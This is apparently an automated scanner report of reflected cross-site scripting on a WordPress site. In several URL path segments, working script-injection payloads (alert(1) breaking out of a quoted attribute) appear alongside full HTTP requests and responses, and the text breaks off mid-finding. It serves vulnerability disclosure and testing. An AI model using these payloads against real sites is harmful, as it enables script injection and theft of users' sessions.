This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site35227"><script>alert(1)</script>3dfa69234d3/wp-content/plugins/wp-greet-box/js/functions.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:03 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674584+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674584; expires=Thu, 02-Feb-2012 19:23:04 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:04 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53326
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 37872"><script>alert(1)</script>78f3e31006f was submitted in the REST URL parameter 2. This input was echoed as 37872\"><script>alert(1)</script>78f3e31006f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content37872"><script>alert(1)</script>78f3e31006f/plugins/wp-greet-box/js/functions.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:05 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674585+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674585; expires=Thu, 02-Feb-2012 19:23:05 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:05 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53326
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f66b5"><script>alert(1)</script>d1bdee06cb7 was submitted in the REST URL parameter 3. This input was echoed as f66b5\"><script>alert(1)</script>d1bdee06cb7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/pluginsf66b5"><script>alert(1)</script>d1bdee06cb7/wp-greet-box/js/functions.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:06 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674586+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674587; expires=Thu, 02-Feb-2012 19:23:07 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:07 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53326
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ed6b8"><script>alert(1)</script>914a3271a2e was submitted in the REST URL parameter 4. This input was echoed as ed6b8\"><script>alert(1)</script>914a3271a2e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/wp-greet-boxed6b8"><script>alert(1)</script>914a3271a2e/js/functions.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:08 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674588+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674588; expires=Thu, 02-Feb-2012 19:23:08 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:08 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53326
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ad51d"><script>alert(1)</script>5ca530811f6 was submitted in the REST URL parameter 5. This input was echoed as ad51d\"><script>alert(1)</script>5ca530811f6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/wp-greet-box/jsad51d"><script>alert(1)</script>5ca530811f6/functions.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:09 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674589+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674589; expires=Thu, 02-Feb-2012 19:23:09 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:09 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53326
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 57ecd"><script>alert(1)</script>b9142a98a09 was submitted in the REST URL parameter 6. This input was echoed as 57ecd\"><script>alert(1)</script>b9142a98a09 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/wp-greet-box/js/functions.js57ecd"><script>alert(1)</script>b9142a98a09 HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:10 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674590+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674590; expires=Thu, 02-Feb-2012 19:23:10 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:10 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53325
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d991d"><script>alert(1)</script>e1f4eeb27fb was submitted in the REST URL parameter 1. This input was echoed as d991d\"><script>alert(1)</script>e1f4eeb27fb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /sited991d"><script>alert(1)</script>e1f4eeb27fb/wp-content/plugins/wp-greet-box/js/js-mode.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:05 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674586+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674586; expires=Thu, 02-Feb-2012 19:23:06 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:06 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53320
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9dcbb"><script>alert(1)</script>2a34ec876cb was submitted in the REST URL parameter 2. This input was echoed as 9dcbb\"><script>alert(1)</script>2a34ec876cb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content9dcbb"><script>alert(1)</script>2a34ec876cb/plugins/wp-greet-box/js/js-mode.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:07 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674587+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674587; expires=Thu, 02-Feb-2012 19:23:07 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:07 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53320
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 11566"><script>alert(1)</script>61a3ae9d618 was submitted in the REST URL parameter 3. This input was echoed as 11566\"><script>alert(1)</script>61a3ae9d618 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins11566"><script>alert(1)</script>61a3ae9d618/wp-greet-box/js/js-mode.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:09 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674589+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674589; expires=Thu, 02-Feb-2012 19:23:09 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:09 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53320
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 55fe0"><script>alert(1)</script>4774902bb5d was submitted in the REST URL parameter 4. This input was echoed as 55fe0\"><script>alert(1)</script>4774902bb5d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/wp-greet-box55fe0"><script>alert(1)</script>4774902bb5d/js/js-mode.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:10 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674590+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674590; expires=Thu, 02-Feb-2012 19:23:10 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:10 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53320
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7a63a"><script>alert(1)</script>48ff1601d51 was submitted in the REST URL parameter 5. This input was echoed as 7a63a\"><script>alert(1)</script>48ff1601d51 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/wp-greet-box/js7a63a"><script>alert(1)</script>48ff1601d51/js-mode.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:11 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674591+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674592; expires=Thu, 02-Feb-2012 19:23:12 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:12 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53320
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b9a1b"><script>alert(1)</script>9fec7095d88 was submitted in the REST URL parameter 6. This input was echoed as b9a1b\"><script>alert(1)</script>9fec7095d88 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/wp-greet-box/js/js-mode.jsb9a1b"><script>alert(1)</script>9fec7095d88 HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:12 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674593+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674593; expires=Thu, 02-Feb-2012 19:23:13 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:13 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53320
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8b57e"><script>alert(1)</script>980c007698c was submitted in the REST URL parameter 1. This input was echoed as 8b57e\"><script>alert(1)</script>980c007698c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site8b57e"><script>alert(1)</script>980c007698c/wp-includes/js/jquery/jquery.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:08 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674588+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674589; expires=Thu, 02-Feb-2012 19:23:09 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:09 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53278
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 92397"><script>alert(1)</script>c46e27cc235 was submitted in the REST URL parameter 2. This input was echoed as 92397\"><script>alert(1)</script>c46e27cc235 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-includes92397"><script>alert(1)</script>c46e27cc235/js/jquery/jquery.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:09 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674590+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674590; expires=Thu, 02-Feb-2012 19:23:10 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:10 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53277
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d415c"><script>alert(1)</script>2dc76faa4af was submitted in the REST URL parameter 3. This input was echoed as d415c\"><script>alert(1)</script>2dc76faa4af in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-includes/jsd415c"><script>alert(1)</script>2dc76faa4af/jquery/jquery.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
